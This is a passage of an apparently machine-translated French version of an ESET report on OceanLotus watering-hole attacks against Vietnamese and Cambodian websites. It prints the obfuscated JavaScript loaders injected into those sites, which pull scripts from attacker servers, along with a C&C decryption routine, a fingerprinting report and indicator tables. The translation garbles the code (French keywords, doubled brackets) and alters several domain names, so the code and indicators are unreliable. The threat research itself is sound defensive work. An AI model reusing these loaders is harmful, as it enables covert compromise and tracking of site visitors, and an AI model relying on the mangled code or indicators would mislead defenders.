tableau suivant détaille les différentes victimes. Nous les avons tous informés en octobre, mais la plupart d&#39;entre eux sont encore en train d&#39;injecter des scripts malveillants au moment de la rédaction, deux mois après le premier compromis. Ainsi, nous vous encourageons ne pas visiter ces sites."},{"id":"text-5","heading":"Text","content":"Domaine compromis\nLa description"},{"id":"text-6","heading":"Text","content":"baotgm[.]net\nMédia en vietnamien (basé à Arlington, Texas)"},{"id":"text-7","heading":"Text","content":"cnrp7[.]org\nCambodge National Rescue Party"},{"id":"text-8","heading":"Text","content":"conggiaovietnam[.]net\nEn rapport avec la religion &#8211; en vietnamien"},{"id":"text-9","heading":"Text","content":"daichungvienvinhthanh[.]com\nEn rapport avec la religion &#8211; en vietnamien"},{"id":"text-10","heading":"Text","content":"danchimviet[.]Info\nMédias en vietnamien"},{"id":"text-11","heading":"Text","content":"danviet[.]vn\nMédias en vietnamien"},{"id":"text-12","heading":"Text","content":"Danviethouston[.]com\nMédias en vietnamien"},{"id":"text-13","heading":"Text","content":"fvpoc[.]org\nAnciens prisonniers d&#39;opinion vietnamiens"},{"id":"text-14","heading":"Text","content":"club de jardinage[.]com\nClub de golf à Phnom Penh, Royaume du Cambodge"},{"id":"text-15","heading":"Text","content":"lienketqnhn[.]org\nMédias en vietnamien"},{"id":"text-16","heading":"Text","content":"mfaic.gov[.]kh\nMinistère des affaires étrangères et de la coopération internationale du Cambodge"},{"id":"text-17","heading":"Text","content":"mod.gov[.]kh\nMinistère de la Défense du Cambodge"},{"id":"text-18","heading":"Text","content":"mtgvinh[.]net\nEn rapport avec la religion &#8211; en vietnamien"},{"id":"text-19","heading":"Text","content":"nguoitieudung.com[.]vn\nMédias en vietnamien"},{"id":"text-20","heading":"Text","content":"phnompenhpost[.]com\nJournal cambodgien en anglais"},{"id":"text-21","heading":"Text","content":"raovatcalitoday[.]com\nInconnu &#8211; En vietnamien"},{"id":"text-22","heading":"Text","content":"thongtinchongphandong[.]com\nMédias de l&#39;opposition en vietnamien"},{"id":"text-23","heading":"Text","content":"tinkhongle[.]com\nMédias en vietnamien"},{"id":"text-24","heading":"Text","content":"toithichdoc.blogspot[.]com\nBlog en vietnamien"},{"id":"text-25","heading":"Text","content":"trieudaiviet[.]com\nInconnu &#8211; En vietnamien"},{"id":"text-26","heading":"Text","content":"triviet[.]nouvelles\nMédias en vietnamien"},{"id":"text-27","heading":"Text","content":"Tableau 1 &#8211; Description des sites Web compromis\nEn règle générale, lors d’une attaque à l’eau vive, les adversaires compromettent des sites Web régulièrement visités par des cibles potentielles. Cependant, lors de cette attaque, OceanLotus a également été en mesure de compromettre certains sites Web qui attirent un grand nombre de visiteurs en général, et pas seulement leurs cibles présumées. Le tableau ci-dessous présente le rang Alexa au moment de la rédaction (plus le rang est bas, plus il est fréquenté) des sites Web compromis. Par exemple, ils ont compromis le site Web du journal Dan Viet (danviet[.]vn), qui est le 116th site le plus visité au Vietnam."},{"id":"text-28","heading":"Text","content":"Domaine\nRang Alexa (global)\nRang Alexa (dans le pays le plus populaire)"},{"id":"text-29","heading":"Text","content":"danviet[.]vn\n12 887\n116"},{"id":"text-30","heading":"Text","content":"phnompenhpost[.]com\n85 910\n18 880"},{"id":"text-31","heading":"Text","content":"nguoitieudung.com[.]vn\n261 801\n2 397"},{"id":"text-32","heading":"Text","content":"danchimviet[.]Info\n287,852\n144 884"},{"id":"text-33","heading":"Text","content":"baotgm[.]net\n675,669\n119 737"},{"id":"text-34","heading":"Text","content":"toithichdoc.blogspot[.]com\n700 470\n11 532"},{"id":"text-35","heading":"Text","content":"mfaic.gov[.]kh\n978,165\n2 149"},{"id":"text-36","heading":"Text","content":"conggiaovietnam[.]net\n1 040 548\n15 368"},{"id":"text-37","heading":"Text","content":"thongtinchongphandong[.]com\n1 134 691\n21 575"},{"id":"text-38","heading":"Text","content":"tinkhongle[.]com\n1 301 722\n15 224"},{"id":"text-39","heading":"Text","content":"daichungvienvinhthanh[.]com\n1 778 418\n23 428"},{"id":"text-40","heading":"Text","content":"triviet[.]nouvelles\n2 767 289\nIndisponible"},{"id":"text-41","heading":"Text","content":"mod.gov[.]kh\n4 247 649\n3 719"},{"id":"text-42","heading":"Text","content":"raovatcalitoday[.]com\n8.180.358\nIndisponible"},{"id":"text-43","heading":"Text","content":"cnrp7[.]org\n8 411 693\nIndisponible"},{"id":"text-44","heading":"Text","content":"mtgvinh[.]net\n8,415,468\nIndisponible"},{"id":"text-45","heading":"Text","content":"Danviethouston[.]com\n8 777 564\nIndisponible"},{"id":"text-46","heading":"Text","content":"lienketqnhn[.]org\n16 109 635\nIndisponible"},{"id":"text-47","heading":"Text","content":"club de jardinage[.]com\n16 109 635\nIndisponible"},{"id":"text-48","heading":"Text","content":"trieudaiviet[.]com\n16 969 048\nIndisponible"},{"id":"text-49","heading":"Text","content":"fvpoc[.]org\nIndisponible\nIndisponible"},{"id":"text-50","heading":"Text","content":"Tableau 2 &#8211; Rang Alexa des sites Web compromis\nLe mode de fonctionnement est similaire sur tous les sites Web compromis. Les attaquants ajoutent un petit morceau de code JavaScript dans la page d&#39;index ou dans un fichier JavaScript hébergé sur le même serveur. Le morceau de code de la figure 2, légèrement obscurci, charge ensuite un autre script à partir d&#39;un serveur contrôlé par les attaquants. Le code suivant, ajouté dans https://www.mfaic.gov[.]kh / wp-content / themes / ministère des affaires étrangères / slick / slick.min.js, chargera le fichier de https: //weblink.selfip[.]info / images / cdn.js? from = maxcdn."},{"id":"text-51","heading":"Text","content":"(une fonction()\n    var pt = &quot;http&quot;;\n    var l = document.createElement (&#39;script&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[0] + arguments[2] + arguments[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName (&#39;body&#39;)[0].appendChild (l)\n) (&#39;web&#39;, &#39;a&#39;, &#39;link&#39;, &#39;.self&#39;);"},{"id":"text-52","heading":"Text","content":"(une fonction() \n    var pt = &quot;http&quot;;\n    var l = document.createElement(&#39;scénario&#39;);\n    l.src = pt + &quot;s: //&quot; + arguments[[[[0] + arguments[[[[2] + arguments[[[[3] + &#39;ip.&#39; + &#39;info / images / cdn.js? from = maxcdn&#39;;\n    document.getElementsByTagName(&#39;corps&#39;)[[[[0].appendChild(l)\n)(&#39;web&#39;, &#39;une&#39;, &#39;lien&#39;, &#39;.soi&#39;);"},{"id":"text-53","heading":"Text","content":"Figure 2 &#8211; Morceau de code JavaScript ajouté à mfaic.gov[.]kh\nPour échapper à la détection, ils prennent les mesures suivantes:"},{"id":"text-54","heading":"Text","content":"Ils masquent les scripts pour empêcher l&#39;extraction statique de l&#39;URL finale.\nL&#39;URL ressemble à une véritable bibliothèque JavaScript utilisée par le site Web.\nIls utilisent un domaine et un URI différents par site Web compromis.\nLe script est différent pour chaque site Web compromis. Le code suivant est le script inséré dans un autre site Web compromis:"},{"id":"text-55","heading":"Text","content":"var script = document.createElement (&quot;script&quot;);\nvar i = &#39;crash-course&#39;;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? sa =&quot; + i;\nscript.async = true;\nscript.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.split (&quot;&quot;) .map (x =&gt; x.replace (&quot;z&quot;, &quot;i &quot;)). join (&quot;. &quot;) + _ + e;\nvar doc = document.getElementsByTagName (&#39;script&#39;)[0];\ndoc.parentNode.insertBefore (script, doc);"},{"id":"text-56","heading":"Text","content":"var scénario = document.createElement(&quot;scénario&quot;);\nvar je = «cours intensif»;\nvar s = &quot;fzgbc saitztall znfo&quot;;\nvar _ = &#39;/&#39;;\nvar e = &quot;VisitorIdentification.js? Sa =&quot; + je;\nscénario.async = vrai;\nscénario.src = &quot;http://www.welivesecurity.com/htt&quot; + &quot;ps:&quot; + _ + _ + s.Divisé(&quot;&quot;).carte(X =&gt; X.remplacer(&quot;z&quot;, &quot;je&quot;)).joindre(&quot;.&quot;) + _ + e;\nvar doc = document.getElementsByTagName(&#39;scénario&#39;)[[[[0];\ndoc.parentNode.insérerAvant(scénario, doc);"},{"id":"text-57","heading":"Text","content":"Figure 3 &#8211; Un autre morceau de JavaScript inséré dans un site Web ciblé\nPremière étape\nEn fonction de l&#39;emplacement de l&#39;adresse IP du visiteur, le serveur de la première étape, par ex. weblink.selfip[.]info pour mfaic.gov[.]kh, fournit un script leurre (une bibliothèque JavaScript légitime et aléatoire) ou le script de première étape (SHA-1: 2194271C7991D60AE82436129D7F25C0A689050A, par exemple). Tous les serveurs ne disposent pas d&#39;un contrôle d&#39;emplacement, mais lorsqu&#39;il est activé, seuls les visiteurs du Vietnam et du Cambodge reçoivent le script malveillant.\nLe script de la première étape contient plusieurs contrôles pour échapper à la détection, comme illustré à la figure 4."},{"id":"text-58","heading":"Text","content":"[…]\nfonction t (n)\n    var r = this;\n    ! function (t, n)\n        si (! (t instanceof n))\n            throw new TypeError (&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n     (this, t), this.t =\n        o: null,\n        s:! 0\n    , this.scr =! 0, this.r (), this.i =! 0, window.addEventListener (&#39;scroll&#39;, fonction () );\nretourne t.prototype.r = function ()\n    var t = this;\n    setInterval (function ()  r)? (t.t. =! 1, t.t.o = null): (t.t.s =! 0, t.o.e = e);\n    , 500);\n […]"},{"id":"text-59","heading":"Text","content":"1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21"},{"id":"text-60","heading":"Text","content":"[[[[…]\nune fonction t(n) \n    var r = cette;\n    !une fonction (t, n) \n        si (!(t exemple de n))\n            jeter Nouveau Erreur-type(&#39;Impossible d&#39;appeler une classe en tant que fonction&#39;);\n    (cette, t), cette.t = \n        o: nul,\n        s: !0\n    , cette.scr = !0, cette.r(), cette.je = !0, fenêtre.addEventListener(&#39;faire défiler&#39;, une fonction ()  r.scr &amp;&amp; !r.t.s &amp;&amp; (r.scr = !1, r.c(n)), r.je = !1;\n    );"},{"id":"text-61","heading":"Text","content":"revenir t.prototype.r = une fonction () \n    var t = cette;\n    setInterval(une fonction () \n        var n = fenêtre.largeur extérieure &#8211; fenêtre.largeur intérieure &gt; 160, r = fenêtre.outerHeight &#8211; fenêtre.taille intérieure &gt; 160, e = n ? &#39;verticale&#39; : &#39;horizontal&#39;;\n        r &amp;&amp; n , 500);"},{"id":"text-62","heading":"Text","content":"[[[[…]"},{"id":"text-63","heading":"Text","content":"Figure 4 &#8211; Charge utile JavaScript de la première étape\nLe script attendra que la victime défile sur la page. Il vérifie également la résolution de la fenêtre et détermine si Firebug, une extension de navigateur utilisée pour analyser des pages Web, est activé. Si l&#39;une des vérifications échoue, l&#39;exécution est interrompue.\nEnsuite, il déchiffre le domaine Command &amp; Control à l&#39;aide d&#39;un algorithme personnalisé. Par exemple, 3B37371M1B1B382R332V1A382W36392W2T362T1A322T38 sera déchiffré à wss: //tcog.thruhere[.]net. Pour chaque domaine de premier étage, les attaquants enregistrent également un domaine de deuxième étage différent, chacun hébergé sur un serveur différent. Le code de la figure 5 est un équivalent, en Python, de la fonction de déchiffrement."},{"id":"text-64","heading":"Text","content":"def decrypt (encrypted_url):\ns = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\nreturn &quot;&quot; .join (chr (s.index (encrypted_url[e]) * 36 + s.index (encrypted_url[e+1])) pour e dans la plage (0, len (encrypted_url), 2))"},{"id":"text-65","heading":"Text","content":"def décrypter(encrypted_url):\n\ts = &quot;0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ&quot;\n\trevenir &quot;&quot;.joindre(chr(s.indice(encrypted_url[[[[e]) * 36 + s.indice(encrypted_url[[[[e+1])) pour e dans intervalle(0,len(encrypted_url),2))"},{"id":"text-66","heading":"Text","content":"Figure 5 &#8211; Code Python pour décrypter les serveurs C &amp; C\nUne fois l&#39;adresse C &amp; C déchiffrée, le script envoie une chaîne unique de 15 chiffres, puis reçoit et exécute un script de deuxième étape. Toutes les communications sont effectuées via WebSocket sur SSL. Ce protocole permet une communication en duplex intégral entre un client et un serveur. Cela signifie que, une fois que le client établit une connexion, un serveur peut envoyer des données au client même si le client n&#39;a pas envoyé de demande. Cependant, dans ce cas particulier, l’utilisation des sockets Web semble avoir pour principal objectif d’éviter la détection.\nDeuxième étape\nLe script de deuxième étape est en fait un script de reconnaissance. Les développeurs OceanLotus ont réutilisé la bibliothèque fingerprintjs2 de Valve, disponible sur GitHub, en la modifiant légèrement afin d’ajouter une communication réseau et un rapport personnalisé.\nLa figure 6 décrit les différentes actions exécutées par le script. Toutes les communications passent par la session WebSocket ouverte par la première étape."},{"id":"text-67","heading":"Text","content":"Figure 6 &#8211; Flux de la charge utile de la deuxième étape"},{"id":"text-68","heading":"Text","content":"La communication est cryptée à l&#39;aide d&#39;une clé de session AES, générée par le serveur. Il est crypté avec une clé publique RSA 1024 bits et envoyé au client. Ainsi, il n&#39;est pas possible de décrypter les communications entre le client et le serveur.\nEn comparaison avec les précédentes itérations de leur structure de points d’arrosage, cela rendra les choses beaucoup plus difficiles pour les défenseurs, car les données envoyées sur le réseau ne peuvent pas être détectées puis déchiffrées. Cela empêchera la détection réseau des données. La clé publique envoyée par le serveur est toujours la même et est disponible dans la section IoC.\nCe script de reconnaissance crée un rapport, semblable à celui présenté ci-dessous, et l&#39;envoie au serveur C &amp; C de deuxième étape."},{"id":"text-69","heading":"Text","content":"{\n  &quot;histoire&quot;:\n    &quot;client_title&quot;: &quot;Ministry% 20of% 20Forign% 20Affairs% 20and% 20International% 20Cooperation% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [\n      « 192.168.x.x »,\n      « x.x.x.x »\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedefaultcommunications9360af458bb80c43fd1f73190b80b80bc6d45\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;:\n      &quot;activex&quot;: false,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;quicktime&quot;: faux,\n      &quot;realplayer&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;touch&quot;: faux,\n      &quot;vbscript&quot;: false,\n      &quot;vlc&quot;: false,\n      &quot;webrtc&quot;: true,\n      &quot;wmp&quot;: false\n    ,\n    &quot;_écran&quot;:\n      &quot;largeur&quot;: 1920,\n      &quot;hauteur&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [\n[&#8230;]"},{"id":"text-70","heading":"Text","content":"1\n2\n3\n4\n5\n6\n7\n8\n9\ndix\n11\n12\n13\n14\n15\n16\n17\n18\n19\n20\n21\n22\n23\n24\n25\n26\n27\n28\n29\n30\n31\n32\n33\n34\n35\n36\n37\n38\n39\n40\n41\n42\n43\n44"},{"id":"text-71","heading":"Text","content":"{\n  &quot;histoire&quot;: \n    &quot;client_title&quot;: &quot;Ministère% 20de% 20Freign% 20Affaires% 20et% 20International% 20Coopération% 20-&quot;,\n    &quot;client_url&quot;: &quot;https://www.mfaic.gov.kh/&quot;,\n    &quot;client_cookie&quot;: &quot;&quot;,\n    &quot;client_hash&quot;: &quot;&quot;,\n    &quot;client_referrer&quot;: &quot;https://www.mfaic.gov.kh/foreign-ngos&quot;,\n    &quot;client_platform_ua&quot;: &quot;Mozilla / 5.0 (Windows NT 6.1; Win64; x64) AppleWebKit / 537.36 (KHTML, comme Gecko) Chrome / 68.0.3440.106 Safari / 537.36&quot;,\n    &quot;client_time&quot;: &quot;2018-10-21T12: 43: 25.254Z&quot;,\n    &quot;fuseau horaire&quot;: &quot;Asie / Bangkok&quot;,\n    &quot;client_network_ip_list&quot;: [[[[\n      &quot;192.168.x.x&quot;,\n      &quot;x.x.x.x&quot;\n    ],\n    &quot;client_api&quot;: &quot;wss: //tcog.thruhere.net/&quot;,\n    &quot;client_zuuid&quot;: &quot;defaultcommunications39e10c84a0546508c58d48ae56ab7c7eca768183e640a1ebbb0cceaef0bd07cedfaunefautfecommunication9360af458bb80c43fd1f73190b80dbfb0b27bcbbbbbbbbbbbbbbbbbbbbbbbcc0f0bbbbbbbbbbbbbbbbbbbbbbbbbbbbbbbcc,\n    &quot;client_uuid&quot;: &quot;a612cdb028e1571dcab18e4aa316da26&quot;\n  ,\n  &quot;navigateur&quot;: {\n    &quot;plugins&quot;: \n      &quot;activex&quot;: faux,\n      &quot;cors&quot;: vrai,\n      &quot;flash&quot;: faux,\n      &quot;Java&quot;: faux,\n      &quot;foxit&quot;: vrai,\n      &quot;phonegap&quot;: faux,\n      &quot;Quick Time&quot;: faux,\n      &quot;vrai joueur&quot;: faux,\n      &quot;silverlight&quot;: faux,\n      &quot;toucher&quot;: faux,\n      &quot;vbscript&quot;: faux,\n      &quot;vlc&quot;: faux,\n      &quot;webrtc&quot;: vrai,\n      &quot;wmp&quot;: faux\n    ,\n    &quot;_écran&quot;: \n      &quot;largeur&quot;: 1920,\n      &quot;la taille&quot;: 1080,\n      &quot;availWidth&quot;: 1920,\n      &quot;availHeight&quot;: 1080,\n      &quot;résolution&quot;: &quot;1920&#215;1080&quot;\n    ,\n &quot;_plugins&quot;: [[[[\n[[[[...]"},{"id":"text-72","heading":"Text","content":"Figure 7 &#8211; Rapport d&#39;empreinte digitale\nCe rapport est presque identique au rapport généré par OceanLotus Framework B, documenté par les chercheurs de Volexity en 2017. Les différentes sections sont similaires et incluent des fautes de frappe identiques. Grâce à ces similitudes et à la localisation des cibles, nous sommes confiants que OceanLotus dirigera cette campagne.\nLe rapport généré contient des informations détaillées sur le navigateur de la victime et le site Web visité: l’agent utilisateur, le référent HTTP, les adresses IP locale et externe, le navigateur ajoute les préférences de langue configurées du navigateur.\nDe plus, il y a deux identifiants uniques par machine, appelés client_zuuid et client_uuid. Ils sont probablement utilisés pour identifier les utilisateurs et les suivre d&#39;une visite à l&#39;autre. En réalité, ces identifiants étaient déjà présents dans la version 2017 du framework et client_uuid a été calculé de manière similaire.\nle client_zuuid est la concaténation des différentes valeurs deviceId contenues dans navigator.mediaDevices.enumerateDevices. Les périphériques sont les périphériques externes accessibles au navigateur, tels que les caméras ou les microphones. Ainsi, cette valeur doit être la même pour un utilisateur donné lors de ses différentes visites à partir du même ordinateur.\nle client_uuid est un hachage MD5 de certaines informations d’empreintes digitales extraites par fingerprintjs2. Parmi les informations collectées figurent l&#39;agent utilisateur du navigateur, la langue, le fuseau horaire, les plug-ins du navigateur et les polices disponibles dans le navigateur. Là encore, cette valeur doit être identique pour toutes les visites, sauf si, par exemple, l&#39;utilisateur met à jour le navigateur ou utilise un périphérique différent.\nEnfin, le serveur peut envoyer du code JavaScript supplémentaire à l&#39;ordinateur victime, probablement la charge réelle. Malheureusement, en raison de l&#39;utilisation d&#39;une clé de session AES pour chiffrer les communications, nous n&#39;avons pas été en mesure d&#39;identifier des exemples dans la nature de charges utiles envoyées par les attaquants. De plus, les charges utiles ne sont livrées qu&#39;à des cibles spécifiques. Ainsi, il n&#39;était pas possible de les obtenir en utilisant une machine de test. Toutefois, selon des rapports antérieurs, ces campagnes de points d’arrosage d’OceanLotus ont pour objectif de phish ses victimes. Par exemple, Volexity a signalé qu’une fenêtre contextuelle demandant aux utilisateurs d’approuver l’accès OAuth au compte Google de la victime pour une application Google OceanLotus était affichée. En utilisant cette technique, les attaquants peuvent accéder aux contacts et aux courriels de la victime.\nAfin d&#39;être le plus furtif possible, les opérateurs OceanLotus ont enregistré un domaine de premier et un deuxième domaines par site Web compromis. Chaque domaine est hébergé sur un serveur distinct avec une adresse IP distincte. Ils ont enregistré au moins 50 domaines et 50 serveurs pour cette campagne.\nBien que la plupart des domaines de la première étape aient été enregistrés sur des services de noms de domaine gratuits, la plupart des domaines de la deuxième étape sont des noms de domaine payants. Ils imitent également les sites Web authentiques afin de paraître légitimes. Le tableau 3 montre certains services imités par les attaquants."},{"id":"text-73","heading":"Text","content":"Domaine C &amp; C\nDomaine légitime"},{"id":"text-74","heading":"Text","content":"cdn-ampproject[.]com\ncdn.ampproject.com"},{"id":"text-75","heading":"Text","content":"bootstraplink [.]com\ngetbootstrap.com"},{"id":"text-76","heading":"Text","content":"sskimresources[.]com\ns.skimresources.com"},{"id":"text-77","heading":"Text","content":"widgets-wp[.]com\nwidgets.wp.com"},{"id":"text-78","heading":"Text","content":"Tableau 3 &#8211; Sites Web légitimes imités par les attaquants\nLe nombre de domaines utilisés et leur similarité avec les sites Web légitimes les rendent probablement plus difficiles à détecter par un œil humain regardant le trafic réseau.\nMalgré le suivi actif de nombreux chercheurs, le groupe OceanLotus est toujours très occupé à attaquer des cibles en Asie du Sud-Est. Ils améliorent également régulièrement leur ensemble d’outils, y compris leur infrastructure de points d’arrosage et leurs programmes malveillants Windows et MacOS. Les mises à jour récentes apportées à la structure de points d’arrosage, décrites dans ce blog, témoignent d’un niveau de sophistication sans précédent pour OceanLotus. Ceci est un autre rappel que ce groupe APT doit être suivi de près.\nAfin de limiter le nombre de victimes, nous avons averti chaque propriétaire de site Web compromis et expliqué comment supprimer le code JavaScript malveillant, bien que certains semblent très réticents à être informés ou aidés.\nLes chercheurs de ESET continueront à suivre tout développement de l&#39;ensemble d&#39;outils OceanLotus. Des indicateurs de compromis peuvent également être trouvés sur GitHub. Pour toute demande de renseignements ou pour soumettre des échantillons de sujets liés au sujet, contactez-nous à l&#39;adresse suivante :umpintel@eset.com.\n[1]                    ESET Research, «OceanLotus: techniques anciennes, nouvelle porte dérobée», 03 2018. [Online]. Disponible à l&#39;adresse suivante: https://www.welivesecurity.com/wp-content/uploads/2018/03/ESET_OceanLotus.pdf.\n[2]                    N. Carr, «Le cyberespionnage se porte bien: APT32 et la menace pour les entreprises mondiales», FireEye, 14.05.2017. [Online]. Disponible à l’adresse: https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html.\n[3]                    Sky Eye Lab, «Résumé du rapport OceanLotus APT», 29 05 2015. [Online]. Disponible à l&#39;adresse suivante: http://blogs.360.cn/post/oceanlotus-apt.html.\n[4]                    S. K. S. Dave Lassalle, «OceanLotus Blossoms: surveillance numérique massive et attaques ciblant l&#39;ANASE, les nations asiatiques, les médias, les groupes de défense des droits humains et la société civile», Volexity, 06-11 2017. [Online]. Disponible: https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and- société civile/.\nIndicateurs de compromis (IoC)\nDes dossiers"},{"id":"text-79","heading":"Text","content":"La description\nSHA-1\nSHA-256\nNom de la détection"},{"id":"text-80","heading":"Text","content":"Script de première étape\n2194271C7991D60AE82436129D7F25C0A689050A\n1EDA0DE280713470878C399D3FB6C331BA0FADD0BD9802ED98AE06218A17F3F7\nJS / Agent.NYQ"},{"id":"text-81","heading":"Text","content":"Scénario de deuxième étape\n996D0AC930D2CDB16EF96EDC27D9D1AFC2D89CA8\n8B824BE52DE7A8723124BAD5A45664C574D6E905F300C35719F1E6988887BD62\nJS / Agent.NYR"},{"id":"text-82","heading":"Text","content":"Réseau IoC"},{"id":"text-83","heading":"Text","content":"Site compromis\n1ère étape\nadresse IP\n2ème étape\nadresse IP"},{"id":"text-84","heading":"Text","content":"baotgm[.]net\narabica.podzone[.]net\n178.128.103.24\n10cm.mypets[.]ws\n178.128.100.189"},{"id":"text-85","heading":"Text","content":"cnrp7[.]org\nutagscript[.]com\n206.189.88.50\noptnmstri[.]com\n159.65.134.146"},{"id":"text-86","heading":"Text","content":"conggiaovietnam[.]net\nlcontacts.servebbs[.]net\n178.128.219.207\nimgincapsula[.]com\n209.97.164.158"},{"id":"text-87","heading":"Text","content":"daichungvienvinhthanh[.]com\nsskimresources[.]com\n178.128.90.102\nsecure-imrworldwide[.]com\n178.128.90.109"},{"id":"text-88","heading":"Text","content":"danchimviet[.]Info\nwfpscripts.homeunix[.]com\n178.128.223.102\ncdn-ampproject[.]com\n178.128.24.201"},{"id":"text-89","heading":"Text","content":"danviet[.]vn\ncdnscr.thruhere[.]net\n178.128.98.139\nio.blogsite[.]org\n178.128.98.89"},{"id":"text-90","heading":"Text","content":"Danviethouston[.]com\nvotre-ip.getmyip[.]com\n178.128.103.74\n[Unknown]\n[Unknown]"},{"id":"text-91","heading":"Text","content":"fvpoc[.]org\ngui.dnsdojo[.]net\n178.128.28.93\ncnnazure[.]com\n209.97.164.96"},{"id":"text-92","heading":"Text","content":"club de jardinage[.]com\nfigbc.knowsitall[.]Info\n178.128.103.207\nichefbcci.is-a-chef[.]com\n206.189.85.162"},{"id":"text-93","heading":"Text","content":"lienketqnhn[.]org\nconseils-renouveler.webhop[.]Info\n159.65.7.45\ncyhire.cechire[.]com\n178.128.103.79"},{"id":"text-94","heading":"Text","content":"mfaic.gov[.]kh\nweblink.selfip[.]Info\n178.128.103.202\ntcog.thruhere[.]net\n178.128.107.83"},{"id":"text-95","heading":"Text","content":"mfaic.gov[.]kh\ns0-2mdn[.]net\n104.248.144.178\np-typekit[.]com\n104.248.144.136"},{"id":"text-96","heading":"Text","content":"mod.gov[.]kh\nstatic.tagscdn[.]com\n206.189.95.214\npagefairjs[.]com\n159.65.137.109"},{"id":"text-97","heading":"Text","content":"mtgvinh[.]net\nmetacachecdn[.]com\n178.128.209.153\nbootstraplink[.]com\n159.65.129.241"},{"id":"text-98","heading":"Text","content":"nguoitieudung.com[.]vn\ns-adroll[.]com\n128.199.159.127\njoueur-cnevids[.]com\n128.199.159.60"},{"id":"text-99","heading":"Text","content":"phnompenhpost[.]com\ntiwimg[.]com\n206.189.89.121\ntiqqcdn[.]com\n206.189.47.116"},{"id":"text-100","heading":"Text","content":"raovatcalitoday[.]com\nwidgets-wp[.]com\n178.128.90.107\ncdn-tynt[.]com\n142.93.75.192"},{"id":"text-101","heading":"Text","content":"thongtinchongphandong[.]com\nlb-web-stat[.]com\n159.65.128.57\nbenchtag2[.]com\n178.128.90.108"},{"id":"text-102","heading":"Text","content":"tinkhongle[.]com \ncdn1.shacknet[.]nous\n142.93.127.120\nscdn-cxense[.]com\n142.93.75.161"},{"id":"text-103","heading":"Text","content":"toithichdoc.blogspot[.]com\nassets-cdn.blogdns[.]net\n178.128.28.89\ncart.gotdns[.]com\n206.189.145.242"},{"id":"text-104","heading":"Text","content":"trieudaiviet[.]com\nhtml5.endofinternet[.]net\n178.128.90.182\neffeto-azur[.]net\n142.93.71.92"},{"id":"text-105","heading":"Text","content":"triviet[.]nouvelles\nds-aksb-a.likescandy[.]com\n159.65.137.144\nlabs-apnic[.]net\n178.128.90.138"},{"id":"text-106","heading":"Text","content":"[Unknown]\npixel1.dnsalias[.]net\n142.93.116.157\nad-appier[.]com\n178.128.90.66"},{"id":"text-107","heading":"Text","content":"[Unknown]\ntrc.webhop[.]net\n178.128.90.223\nstatique-addtoany[.]com\n142.93.75.172"},{"id":"text-108","heading":"Text","content":"[Unknown]\nnav.neat-url[.]com\n178.128.103.205\nstraits-times.is-an-actor[.]com\n178.128.107.24"},{"id":"text-109","heading":"Text","content":"Clé publique RSA envoyée par le serveur\n—–BEGIN PUBLIC KEY—–\nMIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDI8O2kXpKec4MBVeF2g86GtT2X\n/ ABJB2M + urEvxJStRuL / + u / a9oJ6XL4JTFceYqJiSsXvwD / wDfgI00zCdmJ7xgw +\nrpGyuSntLH2Ox5oVxTTUQB791WJByDjtKXYBHpIBrmePG1EcnTlfBhgHhpAeZEao\nhEXZ94it73j02h + JtQIDAQAB\n—–END PUBLIC KEY—–\n\t\t\t\t\t\t\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tMatthieu Faou\t\t\t\t\t\t\t\t20 novembre 2018 &#8211; 14h56"},{"id":"text-110","heading":"Text","content":"Click to rate this post!\n                                   \n                               [Total: 0  Average: 